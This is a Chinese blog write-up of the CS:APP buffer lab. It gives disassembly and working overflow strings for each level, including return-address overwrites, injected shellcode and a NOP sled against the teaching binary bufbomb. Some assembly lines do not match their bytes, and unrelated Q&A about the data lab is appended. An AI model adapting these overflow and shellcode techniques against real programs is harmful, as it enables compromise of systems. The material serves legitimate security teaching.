深入理解计算机系统lab3,buffer lab (《深入理解计算机系统》lab3)

retaddr)+0x4(saved %esp)构成了getbuf的栈结构,具体结构图如下:

a454a18645d87565c9c1267f4459a1c5.png

整个buffer共有48byte

*************************************************************************************************************************************************************************

level 0:

Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement,rather than returning to test

查找到函数的位置,

08049174 :

8049174:55 push %ebp

8049175:89 e5 mov %esp,%ebp那么把retaddr替换成08 04 91 74(注意little endian)即可

answer:

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

74 91 04 08

前面的44个byte是任意填充的。

*************************************************************************************************************************************************************************

level 1:

your task is to get BUFBOMB to execute the code for fizz rather than returning to test.

08049129 :

8049129:55 push %ebp

804912a:89 e5 mov %esp,%ebp

804912c:83 ec 18 sub $0x18,%esp

804912f:8b 45 08 mov 0x8(%ebp),%eax

8049132:3b 05 c4 b1 04 08 cmp 0x804b1c4,%eax

8049138:75 1e jne 8049158 804913a:89 44 24 04 mov %eax,0x4(%esp)

这个比上一个复杂一点,要跳入函数,还需要在0x8(%ebp)中放0x804b1c4中存的数值。查找到这个地址中的数值,发现就是cookie值(po主cookie是0x51ade980),那么只需要把0x51ade980放入buffer中的0x8(%ebp)中即可。

在中先push %ebp 此时ebp位置在retaddr,那么0x8(%ebp)就是在栈顶下面的位置。

答案也就有了

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

29 91 04 08

00 00 00 00

80 e9 ad 51

*************************************************************************************************************************************************************************

level 2:

your task is to get BUFBOMB to execute the code for bang rather than returning to test

080490dc :

80490dc:55 push %ebp

80490dd:89 e5 mov %esp,%ebp

80490df:83 ec 18 sub $0x18,%esp

80490e2:a1 cc b1 04 08 mov 0x804b1cc,%eax

80490e7:3b 05 c4 b1 04 08 cmp 0x804b1c4,%eax

80490ed:75 1e jne 804910d

从这题开始难度增加,查看函数,要把内存中的0x804b1cc 中的值取出来与0x804b1c4(这个上一题已经得出是cookie值)比较,查看0x804b1cc,发现是一个,那么就要修改这个值,使其变成cookie值,写一段攻击代码如下:

movl $0x51ade980,%eax

movl %eax,0x804b1cc

利用gcc编译后得到.o文件再反编译得到其二进制代码,填入buffer,注意,还要查找到the start of input string来作为第一次retaddr,那么程序就从第一次return到我们输入的字符串,然后执行我们的攻击代码,再进入,完成任务。

查找start of input string的方法是在中设置断点(关于gdb使用请参考上一篇博文,关于bomb lab的那篇),查找-0x28(%ebp)的地址(这个地址是我们输入的buffer区的起始位置)

答案:

c7 05 cc b1 04 08 80 e9

ad 51 68 dc 90 04 08 c3

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 48 3b 68 55

**********************************************************************************************************************************************************

level 3:

Your job for this level is to supply an exploit string that will cause getbuf to return your cookie back to test, rather than the value 1.

08048d25 :

8048d25:55 push %ebp

8048d26:89 e5 mov %esp,%ebp

8048d28:53 push %ebx

8048d29:83 ec 24 sub $0x24,%esp

8048d2c:e8 9f fe ff ff call 8048bd0 8048d31:89 45 f4 mov %eax,-0xc(%ebp)

8048d34:e8 6b ff ff ff call 8048ca4 8048d39:89 c3 mov %eax,%ebx

这关是要使的返回值设置为cookie而不是原来的0x1.那么同上题一样的思想,我们写一段攻击代码

movl 0x51ade980,%eax

pushl 0x8048d39

ret

按照上题提供方法得到二进制代码即可。另外,这个题因为是要按正常方式返回原函数,那么我们要保证saved ebp的值是正确的。saved ebp就是中的ebp值,同样使用gdb设置断点调试可以得到。按照栈结构将所得到的数据输入即可得到答案。

b8 80 e9 ad

51 68 39 8d

04 08 c3 00 00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

a0 3b 68 55 48 3b 68 55

**********************************************************************************************************************************************************

level 4:

Your task is identical to the task for the Dynamite level.Once again, your job for this level is to supply an exploit string that will cause getbufn to return your cookie back to test, rather than the value 1.

这题的要求任务与level3相同,只不过使用函数,会使得栈底在一定范围内变化5次。

08048c86 :

8048c86:55 push %ebp

8048c87:89 e5 mov %esp,%ebp

8048c89:81 ec 18 02 00 00 sub $0x218,%esp

8048c8f:8d 85 f8 fd ff ff lea -0x208(%ebp),%eax

8048c95:89 04 24 mov %eax,(%esp)

8048c98:e8 54 ff ff ff call 8048bf1 8048c9d:b8 01 00 00 00 mov $0x1,%eax

8048ca2:c9 leave

8048ca3:c3 ret

我们可以得到这个栈空间是0x208+0x4+0x4的,结构同上。整个buffer共有528byte。

08048cbc :

8048cbc:55 push %ebp

8048cbd:89 e5 mov %esp,%ebp

8048cbf:53 push %ebx

8048cc0:83 ec 24 sub $0x24,%esp

8048cc3:c7 45 f4 ef be ad de movl $0xdeadbeef,-0xc(%ebp)

8048cca:e8 b7 ff ff ff call 8048c86 8048ccf:89 c3 mov %eax,%ebx

再查看新的,我们要完成任务,首先要复原%ebp内容,从函数中看出来这时的ebp应当是esp+0x24+0x4(push ebx)=esp+0x28.然后在将cookie赋值填入eax中

攻击代码如下:

leal -0x28(%esp),%ebp

movl 0x51ade980,%eax

push $8048ccf

ret

并将其按编译-反编译.o文件得到其二进制代码此外,由于每次栈的不确定性,我们需要先空执行程序,利用上面同样的方法查找到每次的start of input string。找到5个之后,(可能有相同的,不影响结果,这个可以认为是有两次执行的栈结构相同),为了使每一次input string都能完整被读入,我们就要选择最大的一个数据作为我们整个攻击代码的start of input string。至此,我们解决了大部分问题,最后,为了使每一个开始的位置都能进入我们的attack code 我们需要把文件的其他地方用nop(90)填充,这样才能使每次无论buffer的位置在哪里,都能滑到我们的攻击代码中。得到答案:

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

90 90 90 90

8d 6c 24 28

b8 80 e9 ad

51 68 cf 8c

04 08 c3 00

90 90 90 90

90 90 90 90

00 00 00 00 a8 39 68 55

lab3完成!

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 好的,这里是您要求的回答: 这个问题涉及到计算机系统的实验课程——深入理解计算机系统(CS:APP)的第一个lab任务,也称为Data Lab。这个任务要求学生使用C语言编写函数来实现不同的位级操作,从而深入理解计算机中数字的存储和运算。 ### 回答2: 在Data Lab的第二部分中,我们学习了如何用不超过十六个操作来实现不同的位运算。这些操作包括移位,逻辑运算,比较和掩码等。通过这些操作的实现,我们可以进一步理解底层计算机系统中位运算的实现原理。 在实现这些操作时,我们需要了解底层计算机系统的运算和数据类型。如符号扩展、零扩展和反码等。同时,在编写代码时需要熟练使用位运算的操作符号以及一些基本控制流语句如循环、条件语句等。 除了实现这些基本操作,我们也需要应用这些操作来解决一些实际问题。例如,实现一个函数,将一个十六进制数按位翻转,或是计算一个整数二进制表示中1的数量等。 通过Data Lab的学习,我们深入了解了计算机系统中底层的位运算实现原理,并学会了如何用简洁高效的代码实现这些操作。同时,这些操作也常常被用在各种领域的计算机编程中,对于未来的学习与工作都有很大的帮助。 ### 回答3: 在《深入理解计算机系统lab1:data lab(二)中,我们主要学习了位运算和两个的补码表示。这些知识对于我们了解计算机的原理和编码方式非常重要。 在这个实验中,我们需要完成一些与位运算相关的任务。其中包括: 1. 实现位运算。我们需要用 C 语言实现一些常见的位运算,如与、或、非、异或、左移、右移等。 2. 计算 x 的相反数。 3. 检查 x 是否为零。 4. 判断 x 的符号是否为负数。 5. 计算 x 和 y 的和,但不能使用加法运算。 为了完成这些任务,我们需要对 C 语言数据类型的细节和位运算的机器级实现有一定的了解。例如,我们要了解有符号整数和无符号整数的区别,以及它们在机器上的表示方式。我们还需要理解位运算的计算过程,包括位移的规则、符号扩展和逻辑运算等。 通过这个实验,我们可以更深入地理解计算机的工作原理,学会用底层的方式实现高级的运算,掌握常用的位运算技巧。这对于提高编程的效率和代码的可读性都有很大帮助。同时,这也为后续的计算机科学学习打下了坚实的基础。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值